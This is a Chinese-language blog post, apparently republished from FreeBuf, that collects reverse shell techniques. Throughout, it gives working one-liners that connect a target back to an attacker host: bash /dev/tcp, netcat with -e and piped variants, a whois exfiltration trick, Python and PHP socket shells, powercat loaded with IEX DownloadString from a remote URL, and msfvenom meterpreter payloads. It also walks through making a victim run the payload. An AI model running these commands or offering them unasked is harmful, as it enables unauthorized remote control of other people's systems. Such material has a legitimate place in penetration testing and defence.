常用反弹shell方法总结

admin 2022年4月25日02:07:53评论1,107 views字数 3243阅读10分48秒阅读模式

0x01 bash反弹shell

bash -i >&/dev/tcp/1.1.1.1/9999 0>&1

常用反弹shell方法总结

常用反弹shell方法总结

解释:bash -i [interface] 表示启动shell窗口>表示将这个窗口重定向到指定的地方,也就是将输出交给后面&表示将该命令转到后台执行 (我看其他文章也有将&解释成等同于的,如2>&1 就表示stderr标准错误重定向为等同于stdout标准输出/dev/tcp/x.x.x.x/port表示发出一个socket调用,建立一个socket连接,读写这个文件等同于socket连接中传输数据.x.x.x.x表示要反弹到的主机的ip,port为端口 (同理linux中还存在/dev/udp)0表示stdin标准输入1表示stdout标准输出2表示stderr标准错误输出0>&1表示将标准输入重定向到标准输出

0x02 nc反弹shell

1.nc弹linux的shell:  nc -e /bin/bash 1.1.1.1 9999

nc -e 表示连接成功后执行的程序
nc -e /bin/bash表示连接到远程之后执行shell, 并反弹

2. 如果linux中nc没有-e参数

(1)nc x.x.x.x 4444 | /bin/bash | nc x.x.x.x 5555#从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。

常用反弹shell方法总结
常用反弹shell方法总结
常用反弹shell方法总结
常用反弹shell方法总结

常用反弹shell方法总结

(2)nc -c /bin/bash x.x.x.x 4444

(3)/bin/sh | nc x.x.x.x 4444


0x03 nc弹windows下的shell

windows端需要下载nc.exe  戳这:https://eternallybored.org/misc/netcat/【报毒,建议虚拟机下载】

攻击机监听:nc -lvp 7777windows端反弹shellnc x.x.x.x 7777 -e c:windowssystem32cmd.exe
常用反弹shell方法总结

常用反弹shell方法总结


0x03 whois反弹shell

whois -h x.x.x.x -p 9999 `whoami`

#但是反弹的shell只能执行后面带的命令

常用反弹shell方法总结

常用反弹shell方法总结


0x04 常见脚本反弹

1、python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
解释:import socket,subprocess,os#导入模块,其中subprocess库用来提供强大的进程创建接口,还可以提供多种与客户端程序交互的方法。s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #SOCK_STREAM表示创建一个TCP连接s.connect(("x.x.x.x",5555))os.dup2(s.fileno(),0)#os.dup2表示将一个文件描述符复制到另一个文件描述符,fileno()表示将文件流指针转换成文件描述符,s.fileno表示返回socket的文件描述符,这行代码表示将s.fileno()表示的文件传递到0指向的文件,0即我们之前所说的stdin标准输入os.dup2(s.fileno(),1) #同理,1表示stdout标准输出os.dup2(s.fileno(),2)#同理,2表示stderr标准错误输出p=subprocess.call(["/bin/bash","-i"]); #表示运行/bin/bash -i, subprocess.call执行命令时不使用空格,用""分开

2、php

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

【注:php的fsockopen使用需要php.ini中allow_url_fopen = On】

php -r $sock=fsockopen("x.x.x.x",5555);//fsockopen用来打开一个网络连接或者一个Unix套接字连接exec("/bin/bash -i <&3 >&3 2>&3");//文件描述符都是递增的,则创建新的文件描述符之后其大小为3,所以直接将0,1,2重定向3。0,1,2的含义我们上文反复提到//可以写成exec("/bin/bash -i 0<&3 1>$3 2>&3");
还有一些其他脚本反弹shell可以参考乌云滴文章:https://mp.weixin.qq.com/s/AnvJIRX9hx4g4gg8Er_O4g
一些文件描述符的理解可以kk这个:https://zhuanlan.zhihu.com/p/109053744

0x05 powercat反弹shell

powercat是netcat的powershell版本,

下载地址:https://github.com/besimorhino/powercat (需要fq)

两种用法:

(1)下载脚本,powershell本地运行

Import-Module .powercat.ps1

powercat -c 攻击机IP -p 端口 -e cmd

常用反弹shell方法总结

常用反弹shell方法总结

(2)从url下载使用

powershell运行:  (cmd的话命令前面加个powershell一样的)IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') ; powercat -c 攻击机ip -p 端口 -e cmd【这里先下载ps1脚本到自己搭的服务器,再运行powershellIEX (New-Object System.Net.Webclient).DownloadString('https://10.x.x.x/powercat.ps1') ; powercat -c 攻击机ip -p 端口 -e cmd】
常用反弹shell方法总结

常用反弹shell方法总结


0x06 msf反弹shell

这个更常见啦,宝子们应该都会啦~

进入msf开搞:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=9999 -f exe > /root/shell.exe

常用反弹shell方法总结

放到自己服务器上让受害者windows主机下载运行然后攻击机msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 攻击机ipset LPORT 9999exploit看到session

常用反弹shell方法总结

成功啦~

当然大家可能已经腻味了熟悉的windows/meterpreter/reverse_tcp,msfvenom也有很多其他反弹shell的payload

msfvenom -l payload | grep 'reverse_tcp'

常用反弹shell方法总结

好了我们选中一个幸运payload儿来尝试:

常用反弹shell方法总结

好吧就你了最好的语言

msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=6666 -f raw > shell.php

常用反弹shell方法总结

放到受害主机根目录,打开暂时还没有socket:

常用反弹shell方法总结

攻击机一顿set, 然后受害主机刷新一下shell.php,成功拿到:

常用反弹shell方法总结


作者:Luc1fer ,文章转载于FreeBuf.COM。

常用反弹shell方法总结

• 往期精选

常用反弹shell方法总结
常用反弹shell方法总结

windows提权总结

一次SSH爆破攻击haiduc工具的应急响应

记一次艰难的SQL注入(过安全狗)

记一次溯源

常用反弹shell方法总结

下方点击关注发现更多精彩!


原文始发于微信公众号(银河护卫队super):常用反弹shell方法总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月25日02:07:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   常用反弹shell方法总结http://cn-sec.com/archives/939374.html

发表评论

匿名网友 填写信息